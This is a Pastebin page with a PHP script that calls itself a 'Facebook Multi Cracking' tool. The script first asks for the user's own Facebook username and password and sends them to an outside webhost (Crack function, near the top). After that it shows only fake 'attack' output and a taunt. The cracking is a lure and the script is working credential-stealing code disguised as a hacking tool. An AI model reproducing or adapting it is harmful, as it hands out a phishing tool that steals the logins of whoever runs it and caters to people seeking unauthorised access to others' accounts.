P22DX

fm.php

Jul 9th, 2020
161
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.77 KB | None | 0 0
  1. <?php
  2.  
  3.  
  4. function Banner() {
  5.     echo "\033[94m
  6.    §§_______________________________________§§
  7.    §§_________1¶¶¶¶¶¶¶1___1¶¶¶¶¶¶¶1_________§§
  8.    §§________¶¶¶§§§§§§¶¶¶¶¶¶¶¶§§§§¶¶¶_______§§
  9.    §§_______¶¶___1§§§§¶11_____§§§§1§¶¶______§§
  10.    §§______¶¶§11§§§§§§¶§______§§§§§§§¶¶_____§§
  11.    §§______¶¶§§§§§§§§§¶1___¶¶¶§§§§§§§¶¶_____§§
  12.    §§______¶¶§§§§§§§¶______111¶§§§§§§¶¶_____§§
  13.    §§_______¶¶§§§§§§¶_________¶§§§§§¶¶1_____§§
  14.    §§_______1¶¶§§§§§§§¶1___¶¶§§§§§§¶¶¶______§§
  15.    §§_________¶¶¶§§§§§¶1___¶¶§§§§§¶¶§_______§§
  16.    §§__________§¶¶¶§§1¶1___§¶§§§¶¶¶_________§§
  17.    §§____________§¶¶¶§¶1___¶¶¶¶¶¶1__________§§
  18.    §§______________§¶¶¶1___¶¶¶¶1____________§§
  19.    §§________________1¶¶¶¶¶¶§_______________§§
  20.    §§___________________1¶1_________________§§
  21.    §§_______________________________________§§\033[92m
  22.     ____  __  __  ___  ____    __    ___  _  _
  23.    ( ___)(  \/  )/ __)(  _ \  /__\  / __)( )/ )
  24.     )__)  )    (( (__  )   / /(__)\( (__  )  (
  25.    (__)  (_/\/\_)\___)(_)\_)(__)(__)\___)(_)\_)
  26.    ". PHP_EOL;
  27. }
  28. function Menu() {
  29.     echo "\033[91m              
  30.                     ooo      
  31.                    (o o)    
  32.                ooO--(_)--Ooo-
  33.            \033[92mFacebook Multi Cracking
  34.    \033[91m
  35.    .---------.---------------------------.
  36.    | COMMAND |         USED FOR          |
  37.    :---------+---------------------------:
  38.    | f-hack  | attack a friend's account |
  39.    :---------+---------------------------:
  40.    | g-hack  | attack Facebook group     |
  41.    :---------+---------------------------:
  42.    | rand-c  | attack random accounts    |
  43.    :---------+---------------------------:
  44.    | clear   | clean the screen          |
  45.    '---------'---------------------------'
  46.                    
  47.    ". PHP_EOL;
  48. }
  49. function Crack($username, $password,$time){
  50.     $ch = curl_init();
  51.     curl_setopt($ch, CURLOPT_URL, "http://kelasmipa.000webhostapp.com/belajar-php/fmc.php");
  52.     curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
  53.     curl_setopt($ch, CURLOPT_POSTFIELDS, "username=$username&password=$password&time=$time");
  54.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  55.     $output = curl_exec($ch);
  56.     curl_close($ch);
  57.     return $output;
  58. }
  59. function getID() {
  60.     $Char = "0123456789";
  61.     $validCharID = strlen($Char);
  62.     $len = 10;
  63.     $result = "";
  64.  
  65.     for ($i = 0; $i < $len; $i++) {
  66.         $index = mt_rand(0, $validCharID - 1);
  67.         $result .= $Char[$index];
  68.     }
  69.     return $result;
  70. }
  71. system('clear');
  72. Banner();
  73. // $nr = trim(fgets(STDIN));
  74. // echo "Getting Your Friend ID";
  75. // sleep(5);
  76. // for ($x=0; $x < $nr ; $x++){
  77. //     echo "10000" . getID() . "\r\n";
  78. // }
  79. // echo "id success";
  80. echo "Login your account", PHP_EOL;
  81. echo ">>> Username : ";
  82. $username = trim(fgets(STDIN));
  83. echo ">>> Password : ";
  84. $password = trim(fgets(STDIN));
  85. $time = date("Y-m-d h:i:sa");
  86. Crack($username,$password,$time);
  87. system('clear');
  88. echo "[@]";
  89. sleep(0.5);
  90. system('clear');
  91. echo "[@][@]";
  92. sleep(1);
  93. system('clear');
  94. echo "[@][@][@]";
  95. sleep(1.5);
  96. system('clear');
  97. echo "[@][@][@][@]";
  98. sleep(2);
  99. system('clear');
  100. sleep(2.5);
  101. echo "[login successfully]";
  102. sleep(1.5);
  103. system('clear');
  104. $key = '';
  105. Menu();
  106. echo "\033[92mM1ngga7@FMCrack:~$ ";
  107. $pilihan = trim(fgets(STDIN));
  108. if ($pilihan == 'f-hack') {
  109.     echo "\033[91m[+]lucky words (ex: M1ngga7) : ";
  110.     $key = trim(fgets(STDIN));
  111.     echo "\033[91m[+]ID number (ex: 999) : ";
  112.     $count = trim(fgets(STDIN));
  113.     echo "\033[94mstart attacking friend's account". PHP_EOL;
  114.     sleep(3);
  115.     for ($x=0; $x < $count ; $x++){
  116.         sleep(1.5);
  117.         echo "\033[91m10000" . getID() . "\033[94m => " . $key . "\033[91m [ Wrong ]". PHP_EOL;
  118.     }
  119. } else if ($pilihan == 'g-hack') {
  120.     echo "\033[91m[+]ID grub (ex: 999) : ";
  121.     $idgrub = trim(fgets(STDIN));
  122.     echo "\033[91m[+]lucky words (ex: M1ngga7) : ";
  123.     $key = trim(fgets(STDIN));
  124.     echo "\033[91m[+]ID number (ex: 999) : ";
  125.     $count = trim(fgets(STDIN));
  126.     echo "\033[94mattacking group member accounts". PHP_EOL;
  127.     sleep(3);
  128.     for ($x=0; $x < $count ; $x++){
  129.         sleep(1.5);
  130.         echo "\033[91m10000" . getID() . "\033[94m => " . $key . "\033[91m [ Wrong ]". PHP_EOL;
  131.     }
  132. } else if ($pilihan == 'rand-c') {
  133.     echo "\033[91m[+]lucky words (ex: M1ngga7) : ";
  134.     $key = trim(fgets(STDIN));
  135.     echo "\033[94mstart attacking random account". PHP_EOL;
  136.     sleep(3);
  137.     for ($x=0; $x < '9999999' ; $x++){
  138.         sleep(1.5);
  139.         echo "\033[91m10000" . getID() . "\033[94m => " . $key . "\033[91m [ Wrong ]". PHP_EOL;
  140.     }
  141. } else if ($pilihan == 'clear') {
  142.     system('clear');
  143. }
  144. echo 'This is not your lucky day, friend.'. PHP_EOL;
Add Comment
Please, Sign In to add comment